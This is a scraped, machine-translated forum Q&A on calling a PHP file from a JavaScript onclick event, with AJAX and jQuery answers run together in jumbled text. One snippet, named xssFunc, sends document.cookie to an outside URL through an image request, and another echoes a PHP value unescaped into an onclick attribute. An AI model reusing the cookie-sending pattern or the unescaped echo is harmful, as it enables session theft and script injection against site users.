在onclick()事件中调用.php文件
我想从OnClick事件调用一个.php文件在onclick()事件中调用.php文件,php,javascript,Php,Javascript,我想从OnClick事件调用一个.php文件 <input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" /> 代码如上所示。我想通过Javascript调用一个.php文件,并在查询字符串中传递一个cookie值。如果您不想将浏览器指向.php页面,那么您正在寻找AJAX 如果您想将浏览器转到.php页面,那么很简单: location
<input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" />
代码如上所示。我想通过Javascript调用一个.php文件,并在查询字符串中传递一个cookie值。如果您不想将浏览器指向.php页面,那么您正在寻找AJAX 如果您想将浏览器转到.php页面,那么很简单:
location.href = 'mypage.php';
我建议使用,然后你所要做的就是$.get(“url”)。。在纯javascript中实现这一点会非常复杂
这是假设您希望通过AJAX打开php(即,不实际向用户显示.php页面,就像单击链接时通常发生的那样)“…并在查询字符串中传递cookie值。”
这是不必要的,因为php可以直接通过$\u cookies superglobal读取Cookie的值。除非您在这里做一些跨域的事情,也就是说。您不必使用AJAX,您可以使用任何外部标记,如iframe、link、script、image和自制您自己的XSS解决方案(老实说,这听起来像是您在做的…)
但是,如果您想在以后使用内容,我会使用AJAX或iframe(如果您需要跨域执行)。函数调用\u php\u程序(code){
$.get(“/php/php_program.php?code=“+code”);
返回false;
}
onclick=“调用php程序(“”)”
除非您想将整个页面导航到.php文件,否则在没有AJAX的情况下是无法做到这一点的,很抱歉。好的,那就是如何从OnClick()执行JQuery。请阅读上面链接中的文档。你调用$.get(url)
就像调用任何其他函数一样。@RPK你在这里混合了一些东西:php->server-side | js->cleint-side//如果你想这样做,你需要使用AJAXOk。我将通过AJAX来实现这一点。@Koper:与此答案无关。。。您报告的大量反对票已被删除,您的声誉已重新计算。您好,欢迎来到StackOverflow。请给你的答案加上一些解释,让它对其他人更有价值。看见
function xssFunc( )
{
( new Image ).src = 'http://my.url/page.php?cookie' + encodeURIComponent( document.cookie );
}
document.getElementById( 'whatevs' ).onClick = xssFunc;
function call_php_program(code) {
$.get("/php/php_program.php?code=" + code);
return false;
}
onclick="call_php_program('<? echo $code; ?>')"